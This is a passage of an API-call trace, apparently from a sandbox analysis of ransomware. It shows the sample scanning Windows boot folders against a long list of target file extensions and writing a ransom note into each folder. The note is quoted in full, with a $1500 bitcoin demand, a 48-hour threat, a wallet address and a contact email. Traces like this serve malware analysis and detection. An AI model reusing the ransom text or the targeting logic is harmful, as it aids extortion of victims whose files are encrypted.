(pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.m4a") returned 0 [0057.179] lstrlenA (lpString="*.m4a") returned 5 [0057.179] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.csv") returned 0 [0057.179] lstrlenA (lpString="*.csv") returned 5 [0057.179] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0057.179] FindClose (in: hFindFile=0x4f7098 | out: hFindFile=0x4f7098) returned 1 [0057.179] FindNextFileA (in: hFindFile=0x4f6020, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="el-GR", cAlternateFileName="")) returned 1 [0057.179] lstrcmpA (lpString1=".", lpString2="el-GR") returned -1 [0057.179] lstrcmpA (lpString1="..", lpString2="el-GR") returned -1 [0057.179] PathFindFileNameA (pszPath="C:\\Boot\\*.*") returned="*.*" [0057.180] lstrcatA (in: lpString1="C:\\Boot\\", lpString2="el-GR" | out: lpString1="C:\\Boot\\el-GR") returned="C:\\Boot\\el-GR" [0057.180] lstrlenA (lpString="C:\\Boot\\el-GR") returned 13 [0057.180] FindFirstFileA (in: lpFileName="C:\\Boot\\el-GR\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f8360, cFileName=".", cAlternateFileName="")) returned 0x4f7098 [0057.180] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.180] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0057.180] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.180] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.180] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.180] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0057.180] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.180] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.180] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0057.181] PathFindFileNameA (pszPath="C:\\Boot\\el-GR\\*.*") returned="*.*" [0057.181] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Boot\\el-GR\\" | out: lpString1="C:\\Boot\\el-GR\\") returned="C:\\Boot\\el-GR\\" [0057.181] PathAddBackslashA (in: pszPath="C:\\Boot\\el-GR\\" | out: pszPath="C:\\Boot\\el-GR\\") returned="" [0057.181] lstrcatA (in: lpString1="C:\\Boot\\el-GR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Boot\\el-GR\\HOW TO DECRYPT FILES.txt") returned="C:\\Boot\\el-GR\\HOW TO DECRYPT FILES.txt" [0057.181] GetFileAttributesA (lpFileName="C:\\Boot\\el-GR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\el-gr\\how to decrypt files.txt")) returned 0xffffffff [0057.181] CreateFileA (lpFileName="C:\\Boot\\el-GR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\el-gr\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x84 [0057.181] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0057.181] WriteFile (in: hFile=0x84, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0057.183] SetFileTime (hFile=0x84, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.183] CloseHandle (hObject=0x84) returned 1 [0057.184] lstrcatA (in: lpString1="C:\\Boot\\el-GR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned="C:\\Boot\\el-GR\\bootmgr.exe.mui" [0057.184] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.ems") returned 0 [0057.184] lstrlenA (lpString="*.ems") returned 5 [0057.184] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.db") returned 0 [0057.184] lstrlenA (lpString="*.db") returned 4 [0057.184] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.dbf") returned 0 [0057.184] lstrlenA (lpString="*.dbf") returned 5 [0057.184] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.myox") returned 0 [0057.184] lstrlenA (lpString="*.myox") returned 6 [0057.184] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.myo") returned 0 [0057.184] lstrlenA (lpString="*.myo") returned 5 [0057.184] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.qbw") returned 0 [0057.184] lstrlenA (lpString="*.qbw") returned 5 [0057.184] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.qbb") returned 0 [0057.184] lstrlenA (lpString="*.qbb") returned 5 [0057.184] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.qbm") returned 0 [0057.184] lstrlenA (lpString="*.qbm") returned 5 [0057.185] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.qbo") returned 0 [0057.185] lstrlenA (lpString="*.qbo") returned 5 [0057.185] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.qbx") returned 0 [0057.185] lstrlenA (lpString="*.qbx") returned 5 [0057.185] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.qba") returned 0 [0057.185] lstrlenA (lpString="*.qba") returned 5 [0057.185] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.qby") returned 0 [0057.185] lstrlenA (lpString="*.qby") returned 5 [0057.185] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.qbj") returned 0 [0057.185] lstrlenA (lpString="*.qbj") returned 5 [0057.185] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.ofx") returned 0 [0057.185] lstrlenA (lpString="*.ofx") returned 5 [0057.185] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.qif") returned 0 [0057.185] lstrlenA (lpString="*.qif") returned 5 [0057.185] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.mye") returned 0 [0057.185] lstrlenA (lpString="*.mye") returned 5 [0057.185] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.mbox") returned 0 [0057.185] lstrlenA (lpString="*.mbox") returned 6 [0057.185] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.185] lstrlenA (lpString="*.eml") returned 5 [0057.185] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.pst") returned 0 [0057.185] lstrlenA (lpString="*.pst") returned 5 [0057.185] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.ost") returned 0 [0057.186] lstrlenA (lpString="*.ost") returned 5 [0057.186] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.idx") returned 0 [0057.186] lstrlenA (lpString="*.idx") returned 5 [0057.186] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.dbx") returned 0 [0057.186] lstrlenA (lpString="*.dbx") returned 5 [0057.186] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.sql") returned 0 [0057.186] lstrlenA (lpString="*.sql") returned 5 [0057.186] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.mdb") returned 0 [0057.186] lstrlenA (lpString="*.mdb") returned 5 [0057.186] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.fdb") returned 0 [0057.186] lstrlenA (lpString="*.fdb") returned 5 [0057.186] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.wab") returned 0 [0057.186] lstrlenA (lpString="*.wab") returned 5 [0057.186] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.dat") returned 0 [0057.186] lstrlenA (lpString="*.dat") returned 5 [0057.186] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.txt") returned 0 [0057.186] lstrlenA (lpString="*.txt") returned 5 [0057.186] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.jpeg") returned 0 [0057.186] lstrlenA (lpString="*.jpeg") returned 6 [0057.186] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.jpg") returned 0 [0057.186] lstrlenA (lpString="*.jpg") returned 5 [0057.186] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.png") returned 0 [0057.186] lstrlenA (lpString="*.png") returned 5 [0057.186] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.php") returned 0 [0057.187] lstrlenA (lpString="*.php") returned 5 [0057.187] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.cs") returned 0 [0057.187] lstrlenA (lpString="*.cs") returned 4 [0057.187] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.cpp") returned 0 [0057.187] lstrlenA (lpString="*.cpp") returned 5 [0057.187] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.rar") returned 0 [0057.187] lstrlenA (lpString="*.rar") returned 5 [0057.187] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.zip") returned 0 [0057.187] lstrlenA (lpString="*.zip") returned 5 [0057.187] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.html") returned 0 [0057.187] lstrlenA (lpString="*.html") returned 6 [0057.187] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.htm") returned 0 [0057.187] lstrlenA (lpString="*.htm") returned 5 [0057.187] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.xlsx") returned 0 [0057.188] lstrlenA (lpString="*.xlsx") returned 6 [0057.188] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.xls") returned 0 [0057.188] lstrlenA (lpString="*.xls") returned 5 [0057.188] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.mp4") returned 0 [0057.188] lstrlenA (lpString="*.mp4") returned 5 [0057.188] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.ppt") returned 0 [0057.188] lstrlenA (lpString="*.ppt") returned 5 [0057.188] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.pptx") returned 0 [0057.188] lstrlenA (lpString="*.pptx") returned 6 [0057.188] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.doc") returned 0 [0057.188] lstrlenA (lpString="*.doc") returned 5 [0057.188] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.dot") returned 0 [0057.188] lstrlenA (lpString="*.dot") returned 5 [0057.188] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.docx") returned 0 [0057.188] lstrlenA (lpString="*.docx") returned 6 [0057.188] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.7z") returned 0 [0057.188] lstrlenA (lpString="*.7z") returned 4 [0057.188] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.tar") returned 0 [0057.188] lstrlenA (lpString="*.tar") returned 5 [0057.188] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.bz2") returned 0 [0057.188] lstrlenA (lpString="*.bz2") returned 5 [0057.188] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.gz") returned 0 [0057.188] lstrlenA (lpString="*.gz") returned 4 [0057.188] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.mkv") returned 0 [0057.188] lstrlenA (lpString="*.mkv") returned 5 [0057.189] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.189] lstrlenA (lpString="*.eml") returned 5 [0057.189] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.msg") returned 0 [0057.189] lstrlenA (lpString="*.msg") returned 5 [0057.189] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.edb") returned 0 [0057.189] lstrlenA (lpString="*.edb") returned 5 [0057.189] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.accdb") returned 0 [0057.189] lstrlenA (lpString="*.accdb") returned 7 [0057.189] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.odb") returned 0 [0057.189] lstrlenA (lpString="*.odb") returned 5 [0057.189] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.java") returned 0 [0057.189] lstrlenA (lpString="*.java") returned 6 [0057.189] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.asm") returned 0 [0057.189] lstrlenA (lpString="*.asm") returned 5 [0057.189] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.pfx") returned 0 [0057.189] lstrlenA (lpString="*.pfx") returned 5 [0057.189] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.pem") returned 0 [0057.189] lstrlenA (lpString="*.pem") returned 5 [0057.189] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.p12") returned 0 [0057.189] lstrlenA (lpString="*.p12") returned 5 [0057.189] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.gpg") returned 0 [0057.189] lstrlenA (lpString="*.gpg") returned 5 [0057.190] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.vsd") returned 0 [0057.190] lstrlenA (lpString="*.vsd") returned 5 [0057.190] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.odg") returned 0 [0057.190] lstrlenA (lpString="*.odg") returned 5 [0057.190] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.raw") returned 0 [0057.190] lstrlenA (lpString="*.raw") returned 5 [0057.190] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.nef") returned 0 [0057.190] lstrlenA (lpString="*.nef") returned 5 [0057.190] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.svg") returned 0 [0057.190] lstrlenA (lpString="*.svg") returned 5 [0057.190] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.psd") returned 0 [0057.190] lstrlenA (lpString="*.psd") returned 5 [0057.190] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.vmx") returned 0 [0057.190] lstrlenA (lpString="*.vmx") returned 5 [0057.190] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.vmdk") returned 0 [0057.190] lstrlenA (lpString="*.vmdk") returned 6 [0057.190] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.vdi") returned 0 [0057.190] lstrlenA (lpString="*.vdi") returned 5 [0057.190] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.lay6") returned 0 [0057.190] lstrlenA (lpString="*.lay6") returned 6 [0057.190] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.mpeg") returned 0 [0057.190] lstrlenA (lpString="*.mpeg") returned 6 [0057.190] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.djvu") returned 0 [0057.191] lstrlenA (lpString="*.djvu") returned 6 [0057.191] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.tiff") returned 0 [0057.191] lstrlenA (lpString="*.tiff") returned 6 [0057.191] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.backup") returned 0 [0057.191] lstrlenA (lpString="*.backup") returned 8 [0057.191] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.pdf") returned 0 [0057.191] lstrlenA (lpString="*.pdf") returned 5 [0057.191] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.cert") returned 0 [0057.191] lstrlenA (lpString="*.cert") returned 6 [0057.191] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.docm") returned 0 [0057.191] lstrlenA (lpString="*.docm") returned 6 [0057.191] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.xlsm") returned 0 [0057.191] lstrlenA (lpString="*.xlsm") returned 6 [0057.191] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.dwg") returned 0 [0057.191] lstrlenA (lpString="*.dwg") returned 5 [0057.191] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.nd") returned 0 [0057.191] lstrlenA (lpString="*.nd") returned 4 [0057.191] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.tlg") returned 0 [0057.191] lstrlenA (lpString="*.tlg") returned 5 [0057.191] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.lgb") returned 0 [0057.191] lstrlenA (lpString="*.lgb") returned 5 [0057.191] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.mov") returned 0 [0057.191] lstrlenA (lpString="*.mov") returned 5 [0057.191] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.xdw") returned 0 [0057.192] lstrlenA (lpString="*.xdw") returned 5 [0057.192] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.ods") returned 0 [0057.192] lstrlenA (lpString="*.ods") returned 5 [0057.192] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.wav") returned 0 [0057.192] lstrlenA (lpString="*.wav") returned 5 [0057.192] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.mp3") returned 0 [0057.192] lstrlenA (lpString="*.mp3") returned 5 [0057.192] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.aiff") returned 0 [0057.192] lstrlenA (lpString="*.aiff") returned 6 [0057.192] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.flac") returned 0 [0057.192] lstrlenA (lpString="*.flac") returned 6 [0057.192] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.m4a") returned 0 [0057.192] lstrlenA (lpString="*.m4a") returned 5 [0057.192] PathMatchSpecA (pszFile="C:\\Boot\\el-GR\\bootmgr.exe.mui", pszSpec="*.csv") returned 0 [0057.192] lstrlenA (lpString="*.csv") returned 5 [0057.192] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0057.192] FindClose (in: hFindFile=0x4f7098 | out: hFindFile=0x4f7098) returned 1 [0057.192] FindNextFileA (in: hFindFile=0x4f6020, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="en-US", cAlternateFileName="")) returned 1 [0057.192] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0057.193] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0057.193] PathFindFileNameA (pszPath="C:\\Boot\\*.*") returned="*.*" [0057.193] lstrcatA (in: lpString1="C:\\Boot\\", lpString2="en-US" | out: lpString1="C:\\Boot\\en-US") returned="C:\\Boot\\en-US" [0057.193] lstrlenA (lpString="C:\\Boot\\en-US") returned 13 [0057.193] FindFirstFileA (in: lpFileName="C:\\Boot\\en-US\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f8360, cFileName=".", cAlternateFileName="")) returned 0x4f7098 [0057.195] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.195] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0057.195] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.195] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.195] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.195] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0057.195] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.195] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.195] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0057.195] PathFindFileNameA (pszPath="C:\\Boot\\en-US\\*.*") returned="*.*" [0057.195] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Boot\\en-US\\" | out: lpString1="C:\\Boot\\en-US\\") returned="C:\\Boot\\en-US\\" [0057.195] PathAddBackslashA (in: pszPath="C:\\Boot\\en-US\\" | out: pszPath="C:\\Boot\\en-US\\") returned="" [0057.195] lstrcatA (in: lpString1="C:\\Boot\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Boot\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Boot\\en-US\\HOW TO DECRYPT FILES.txt" [0057.195] GetFileAttributesA 